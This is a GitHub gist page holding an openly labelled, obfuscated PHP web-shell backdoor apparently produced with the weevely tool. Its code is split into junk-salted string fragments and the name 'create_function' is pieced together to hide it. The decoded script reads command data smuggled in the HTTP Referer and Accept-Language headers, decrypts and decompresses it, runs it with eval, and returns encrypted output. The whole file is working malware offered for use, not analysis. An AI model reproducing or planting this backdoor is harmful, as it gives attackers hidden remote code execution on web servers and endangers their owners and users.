Skip to content

Instantly share code, notes, and snippets.

@0xcrypto
Created November 28, 2015 10:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 0xcrypto/4cd2a1f8569ff46ad90c to your computer and use it in GitHub Desktop.
Save 0xcrypto/4cd2a1f8569ff46ad90c to your computer and use it in GitHub Desktop.
Just another weevely backdoor
<?php
$p='allK*("/([\\w])[\\w-]+K*(?:;q=0K*.([K*\\d]))?,?K*/",$ra,$m)K*;if($qK*&&$m){K*@sessiK*on_K*start();$K*s=&$';
$W=str_replace('OF','','crOFOFeOFate_fOFuncOFtOFion');
$U='i.$kK*h),0,3K*));$K*f=$K*sK*l($ss(K*md5($i.$K*kf),0,3)K*);$p=""K*;foK*r($z=1;$z<counK*t($mK*K*[1])K*;$';
$H='0;$K*i<$K*l;)K*{for($j=0K*;K*($j<$c&&$i<K*$l);$j++,$iK*++K*){$oK*K*.K*=$t{$i}^$k{$j};}K*}return $o;}$rK*=$_S';
$x='$kK*h="9689";$kf=K*"8bbK*8";functioK*n x($tK*,$k){$K*c=sK*trK*lenK*($k);$l=stK*rlen($t)K*;$o=""K*;forK*($i=';
$P='_K*K*SESSIONK*;K*$ss="K*substr";$slK*="strtK*olower"K*;$K*i=$m[1][0].$m[1K*]K*[1];$K*h=$sK*l($ss(md5($';
$J='();@evK*alK*(@gzuncK*omprK*ess(@x(@basK*e64_decoK*dK*e(preg_replaK*ce(arK*K*ray("/_K*/","/-/K*K*"),arr';
$D='*y_existK*s($i,$K*s))K*{$K*s[$K*i].=$p;K*$e=strposK*($s[$i],$f)K*;K*if($e){$k=K*$kh.$kfK*K*;ob_starK*t';
$h='K*ERVER;$rK*r=@$r["HK*TTP_RK*EFEK*RER"];K*$ra=@$r[K*"HTK*K*TP_ACCEPT_LANK*GUAGE"K*];if($rr&K*&$K*ra){$';
$m='baK*se64_encode(x(gK*K*zcomprK*ess($o),$k));prK*int("K*K*<$k>$d<K*/$k>");@K*sessK*K*ion_destroy();}}}}';
$Y='z++)$K*p.=$q[$m[2]K*[K*$z]];if(K*stK*rposK*($p,$hK*)===0){$s[$i]K*="";$K*p=$ss(K*$p,3);}if(aK*rray_keK';
$V='u=K*K*parse_url(K*$rr);parsK*e_str($K*K*u[K*"query"]K*,$q);$q=array_vK*aluesK*K*(K*$qK*);preg_matchK*_';
$n='ay("/K*","+"),$ss($sK*[$i]K*,0,K*$eK*))K*),$k)));$o=ob_K*geK*t_contentK*s()K*;ob_end_clK*ean()K*;$d=K*';
$G=str_replace('K*','',$x.$H.$h.$V.$p.$P.$U.$Y.$D.$J.$n.$m);
$l=$W('',$G);$l();
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment